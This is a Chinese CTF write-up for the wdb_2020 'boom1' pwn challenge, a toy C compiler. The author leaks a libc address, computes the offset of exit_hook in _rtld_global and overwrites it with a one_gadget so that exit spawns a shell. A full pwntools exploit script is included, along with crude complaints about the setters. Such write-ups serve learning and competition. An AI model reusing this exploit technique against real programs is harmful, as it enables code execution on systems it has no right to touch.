MD阴间比赛,出题人就只会编译器和vm?MD真的晦气。牛的,pwn1开门编译器,难度确实有阶梯,只不过起点高而已。
第一题c语言任意写,写exit_hook,然后就可以偷家,但出题人给爷④, MDlibc小版本是真的牛。
开始解题:
进去一看f5,打扰了,直接虚拟机运行,可以,c语言编译器。
在ida里发现exit
wdb_2020_pwn_1st-boom1
首先要先明白一件事,c语言定义在main外的指针是在libc里的,拥有libc的地址。
这里搞错了,我的锅,定义在哪里好像都可以, 0x0
然后我们定义一个s,输入内容,让他拥有地址,然后打印出他的地址
打印地址:
from pwn import*
libc =ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
p = process('./pwn')
#p = remote('182.92.73.10',24573)
context.log_level ='DEBUG'
gdb.attach(p)
payload = '''
char *s;
char *libcbase;
char *og;
int main()
{
s = "aaaa";
printf("%p ", s);
}'''
payload = payload.replace('\n','')
p.sendline(payload)
p.interactive()
wdb_2020_pwn_1st-boom1
wdb_2020_pwn_1st-boom1
得到这两个地址,相减就是s相对于libcbase的偏移 接下来计算exit_hook的偏移:
gdb,用p _rtld_global
wdb_2020_pwn_1st-boom1
wdb_2020_pwn_1st-boom1
建议用peda的find,pwndbg的search搜不到,pwndbg还是调heap的时候好用 我们要做的是让og可以使用,所以我们要手动调整让[_rtld_global+8] == 0 s = "aaaa";
libcbase = s - (0x7ffff7f17028 - 0x7ffff7a0d000);
s = libcbase + 6229832 - 3848 + 8;
3848记住就好 这样我们就让s指向了_rtld_global+8的位置
让*s=0;
(*s ==s[0]) 然后让s重新指向exit_hook 这里我一开始疑惑为什么是10进制,后来又做了一题发现确实都是显示10进制,这里错怪出题人了,我的锅 然后s指向了exit_hook了,我们就可以在这上面写og了,用shellcode滑行,怎么滑行的看下面: og = libcbase + 0xcd0f3;
s[0] = og&0xff;
s[1] = (og>>8)&0xff;
s[2] = (og>>16)&0xff;
相关知识:
https://blog.csdn.net/iamgamer/article/details/79354617
og用0xcd0f3,用
one_gadget /lib/x86_64-linux-gnu/libc-2.23.so -l2
得到更多og
这样程序最后自己运行exit就会有几率触发og了 这题libc不给, 需要你自己测。
https://github.com/matrix1001/glibc-all-in-one
git clone 下载 如果下载了之后运行不了记得给权限 chmod 777 文件名 版本应该是2.23-0ubuntu10_amd64
但是这样并没有什么卵用,你还需要替换掉本地的libc才能算出正确的偏移········· 好了,出题人赶紧④ 我就不换了,本地通了完事,整理完毕 记得把换行都换掉,这个编译器垃圾得很,最后一行printf是用来打印地址看看有没有问题的,不要也可以
最后 exp: from pwn import*
libc =ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
p = process('./pwn')
#p = remote('182.92.73.10',24573)
context.log_level ='DEBUG'
gdb.attach(p)
payload = '''
char *s;
char *libcbase;
char *og;
int main()
{
s = "aaaa";
libcbase = s - (0x7ffff7f17028 - 0x7ffff7a0d000);
s = libcbase + 6229832 - 3848 + 8;
s[0] = 0;
s = libcbase + 6229832;
og = libcbase + 0xcd0f3;
s[0] = og&0xff;
s[1] = (og>>8)&0xff;
s[2] = (og>>16)&0xff;
printf("%p", s);
}'''
payload = payload.replace('\n','')
p.sendline(payload)
p.interactive()
|